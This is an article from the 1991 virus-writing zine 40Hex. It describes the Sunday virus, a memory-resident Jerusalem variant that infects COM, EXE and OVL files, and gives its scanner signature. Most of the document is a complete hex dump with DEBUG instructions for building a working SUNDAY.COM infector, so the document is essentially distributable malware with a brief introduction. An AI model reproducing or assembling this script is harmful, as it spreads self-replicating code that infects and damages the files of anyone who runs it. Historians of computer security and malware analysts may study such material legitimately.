40Hex Issue 4 December 1991 The Sunday Virus According to Patty Hoffman, the Sunday virus is based on the Jerusalem viruses, because the codes for both viruses are similar. Sunday infects COM, EXE, and OVL files, when they are executed, and it stays resident in memory. It was circulated around the Seattle, Washington area in 1989, and is quite common. Sunday can be picked up by almost every scanner out there. The SCAN ID code for this virus is "CD 21 80 FC 04 75 10" in lines 01E0 and 01F0. This version of Sunday doesn't seem to print any messages on the screen, however, some versions do, every Sunday. This virus spreads rapidly, and replicates quite well. To create SUNDAY.COM, cut out the following code, and name the resulting file sunday.txt. Then, use this command: DEBUG < SUNDAY.TXT --DecimatoR ------------------------------------------------------------------------------- n sunday.com e 0100 E9 92 00 59 57 C8 F7 E1 EE E7 00 01 4C 1E 00 00 e 0110 00 02 00 AB 00 0C 13 16 17 C7 02 BF 05 3A 1E 63 e 0120 79 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06 e 0130 5F BD 1D 80 00 00 00 80 00 BD 1D 5C 00 BD 1D 6C e 0140 00 BD 1D 00 0A 95 22 29 00 00 00 00 F0 02 00 4D e 0150 5A 87 01 14 01 ED 05 80 01 23 0B FF FF 8C 20 C0 e 0160 06 89 19 C6 00 8C 20 1E 00 00 00 00 00 00 00 00 e 0170 05 00 20 00 29 15 01 79 00 02 10 00 C0 20 02 00 e 0180 54 61 28 99 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 01 e 0190 00 00 00 00 00 FC 06 B8 00 00 8E C0 26 A1 84 00 e 01A0 07 3D 4C 02 75 10 B4 DD BF 00 01 BE C2 06 03 F7 e 01B0 2E 8B 4D 11 CD 21 8C C8 05 10 00 8E D0 BC C0 06 e 01C0 50 B8 C6 00 50 CB FC 06 2E 8C 06 31 00 2E 8C 06 e 01D0 39 00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10 e 01E0 00 2E 01 06 49 00 2E 01 06 45 00 B4 FF CD 21 80 e 01F0 FC 04 75 10 07 2E 8E 16 45 00 2E 8B 26 43 00 2E e 0200 FF 2E 47 00 33 C0 8E C0 BB FC 03 26 8B 07 2E A3 e 0210 4B 00 26 8A 47 02 2E A2 4D 00 26 C7 07 F3 A5 26 e 0220 C6 47 02 CB 58 05 10 00 8E C0 0E 1F B9 C2 06 D1 e 0230 E9 33 F6 8B FE 06 B8 3E 01 50 FF 2E 59 06 8C C8 e 0240 8E D0 BC C0 06 33 C0 8E D8 2E A1 4B 00 89 07 2E e 0250 A0 4D 00 88 47 02 8B DC B1 04 D3 EB 83 C3 20 83 e 0260 E3 F0 2E 89 1E 33 00 B4 4A 2E 8E 06 31 00 CD 21 e 0270 B8 21 35 CD 21 2E 89 1E 17 00 2E 8C 06 19 00 0E e 0280 1F BA 4C 02 B8 21 25 CD 21 8E 06 31 00 26 8E 06 e 0290 2C 00 33 FF B9 FF 7F 32 C0 F2 AE 26 38 05 E0 F9 e 02A0 8B D7 83 C2 03 B8 00 4B 06 1F 0E 07 BB 35 00 1E e 02B0 06 50 53 51 52 B4 0F CD 10 3C 07 74 07 2E C7 06 e 02C0 4A 02 00 B8 B8 08 35 CD 21 2E 89 1E 13 00 2E 8C e 02D0 06 15 00 0E 1F C7 06 1F 00 E0 79 B8 08 25 BA 0A e 02E0 02 CD 21 5A 59 5B 58 07 1F 9C 2E FF 1E 17 00 1E e 02F0 07 B4 49 CD 21 B4 4D CD 21 B4 31 BA C2 06 B1 04 e 0300 D3 EA 83 C2 10 CD 21 32 C0 CF 2E 83 3E 1F 00 00 e 0310 75 22 1E 06 56 57 50 8D 36 3E 02 0E 1F A1 4A 02 e 0320 8E C0 BF 00 00 FC A5 A5 A5 A5 A5 A5 58 5F 5E 07 e 0330 1F EB 06 90 2E FF 0E 1F 00 2E FF 2E 13 00 48 F0 e 0340 61 F0 21 F0 48 F0 61 F0 21 F0 00 B8 9C 80 FC FF e 0350 75 05 B8 00 04 9D CF 80 FC DD 74 0E 3D 00 4B 75 e 0360 03 EB 21 90 9D 2E FF 2E 17 00 58 58 B8 00 01 2E e 0370 A3 0A 00 58 2E A3 0C 00 F3 A4 9D 2E A1 0F 00 2E e 0380 FF 2E 0A 00 2E C7 06 70 00 FF FF 2E C7 06 8F 00 e 0390 00 00 2E 89 16 80 00 2E 8C 1E 82 00 50 53 51 52 e 03A0 56 57 1E 06 FC 8B FA 32 D2 80 7D 01 3A 75 05 8A e 03B0 15 80 E2 1F B4 36 CD 21 3D FF FF 75 03 E9 0F 03 e 03C0 F7 E3 F7 E1 0B D2 75 05 3D C2 06 72 F0 2E 8B 16 e 03D0 80 00 1E 07 32 C0 B9 41 00 F2 AE 2E 8B 36 80 00 e 03E0 8A 04 0A C0 74 0E 3C 61 72 07 3C 7A 77 03 80 2C e 03F0 20 46 EB EC 2E 89 36 57 06 B9 0B 00 2B F1 BF 84 e 0400 00 0E 07 B9 0B 00 F3 A6 75 03 E9 C2 02 2E C6 06 e 0410 56 06 00 90 2E 8B 36 57 06 8D 3E 55 06 4F 4E 26 e 0420 8A 05 34 BB 3C 00 74 0D 3A 04 74 F1 2E C6 06 56 e 0430 06 01 90 EB E8 2E 80 3E 56 06 00 74 16 4F 26 80 e 0440 3D FF 74 2B 47 2E 8B 36 57 06 2E C6 06 56 06 00 e 0450 90 EB CA 07 1F 5F 5E 5A 59 5B 58 33 C9 B8 01 43 e 0460 CD 21 B4 41 CD 21 B8 00 4B 9D 2E FF 2E 17 00 B8 e 0470 00 43 CD 21 72 05 2E 89 0E 72 00 72 25 32 C0 2E e 0480 A2 4E 00 1E 07 8B FA B9 41 00 F2 AE 80 7D FE 4D e 0490 74 0B 80 7D FE 6D 74 05 2E FE 06 4E 00 B8 00 3D e 04A0 CD 21 72 7C 2E A3 70 00 8B D8 B8 02 42 B9 FF FF e 04B0 BA FB FF CD 21 72 EB 05 05 00 2E A3 11 00 B9 05 e 04C0 00 BA 6B 00 8C C8 8E D8 8E C0 B4 3F CD 21 8B FA e 04D0 BE 05 00 F3 A6 74 22 B0 00 B9 00 00 BA 00 00 B4 e 04E0 42 CD 21 8D 16 DD 05 B9 14 00 B4 3F CD 21 81 3E e 04F0 EF 05 89 19 75 0A E9 91 01 B4 3E CD 21 E9 CF 01 e 0500 B8 24 35 CD 21 89 1E 1B 00 8C 06 1D 00 BA 07 02 e 0510 B8 24 25 CD 21 C5 16 80 00 33 C9 B8 01 43 CD 21 e 0520 72 3B 2E 8B 1E 70 00 B4 3E CD 21 2E C7 06 70 00 e 0530 FF FF B8 02 3D CD 21 72 24 2E A3 70 00 8C C8 8E e 0540 D8 8E C0 8B 1E 70 00 B8 00 57 CD 21 89 16 74 00 e 0550 89 0E 76 00 B8 00 42 33 C9 8B D1 CD 21 72 3E 80 e 0560 3E 4E 00 00 74 04 EB 5B 90 90 BB 00 10 B4 48 CD e 0570 21 73 0B B4 3E 8B 1E 70 00 CD 21 E9 51 01 FF 06 e 0580 8F 00 8E C0 33 F6 8B FE B9 C2 06 F3 A4 8B D7 8B e 0590 0E 11 00 8B 1E 70 00 06 1F B4 3F CD 21 72 1F 03 e 05A0 F9 33 C9 8B D1 B8 00 42 CD 21 BE 05 00 B9 05 00 e 05B0 1E 0E 1F F3 A4 1F 8B CF 33 D2 B4 40 CD 21 72 0D e 05C0 E9 C7 00 B9 1C 00 BA 4F 00 B4 3F CD 21 72 4A C7 e 05D0 06 61 00 89 19 A1 5D 00 A3 45 00 A1 5F 00 A3 43 e 05E0 00 A1 63 00 A3 47 00 A1 65 00 A3 49 00 A1 53 00 e 05F0 83 3E 51 00 00 74 01 48 F7 26 78 00 03 06 51 00 e 0600 83 D2 00 05 0F 00 83 D2 00 25 F0 FF A3 7C 00 89 e 0610 16 7E 00 05 C7 06 83 D2 00 72 3A F7 36 78 00 0B e 0620 D2 74 01 40 A3 53 00 89 16 51 00 A1 7C 00 8B 16 e 0630 7E 00 F7 36 7A 00 2B 06 57 00 A3 65 00 C7 06 63 e 0640 00 C6 00 A3 5D 00 C7 06 5F 00 C0 06 33 C9 8B D1 e 0650 B8 00 42 CD 21 72 0A B9 1C 00 BA 4F 00 B4 40 CD e 0660 21 72 11 3B C1 75 23 8B 16 7C 00 8B 0E 7E 00 B8 e 0670 00 42 CD 21 72 14 33 D2 B9 C2 06 B4 40 CD 21 B9 e 0680 05 00 8D 16 05 00 B4 40 CD 21 2E 83 3E 8F 00 00 e 0690 74 04 B4 49 CD 21 2E 83 3E 70 00 FF 74 31 2E 8B e 06A0 1E 70 00 2E 8B 16 74 00 2E 8B 0E 76 00 B8 01 57 e 06B0 CD 21 B4 3E CD 21 0E 1F C5 16 80 00 2E 8B 0E 72 e 06C0 00 B8 01 43 CD 21 8D 16 1B 00 B8 24 25 CD 21 07 e 06D0 1F 5F 5E 5A 59 5B 58 9D 2E FF 2E 17 00 CD 20 BA e 06E0 00 11 01 ED 05 80 01 23 0B FF FF 95 22 00 0A D5 e 06F0 44 00 00 00 00 00 00 00 00 00 00 FF BB F9 FA E8 e 0700 F2 F8 FA 95 FE E3 FE BB F8 EE E9 FE 95 FE E3 FE e 0710 BB F7 F4 EF EE E8 95 F8 F4 F6 BB F8 EC F2 95 FE e 0720 E3 FE BB FE EF F9 FA E8 F2 F8 95 FE E3 FE BB F9 e 0730 FA E8 F2 F8 FA 95 F8 F4 F6 BB 8A 89 88 95 FE E3 e 0740 FE BB FF F9 FA E8 FE 95 FE E3 FE BB F9 FA E8 F2 e 0750 F8 95 F8 F4 F6 BB 01 68 61 FC 03 00 00 00 00 00 e 0760 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0770 00 00 00 00 00 00 00 00 8C 0D 01 00 20 1C C3 28 e 0780 8C 0D 01 00 FE 26 2E 00 8C 0D 04 7F A7 20 6C 15 e 0790 24 25 05 00 20 00 C6 08 60 C1 57 18 08 25 AB 00 e 07A0 44 7F 0A 02 C2 06 57 18 BD 1D 47 01 04 7F 7C 00 e 07B0 C2 06 B6 00 1C 09 AF 1D 3D 1C 07 02 BD 1D 02 02 e 07C0 4D 3A CD 20 C8 F7 E1 EE E7 1A 1A 1A 1A 1A 1A 1A rcx 7CF w q ------------------------------------------------------------------------------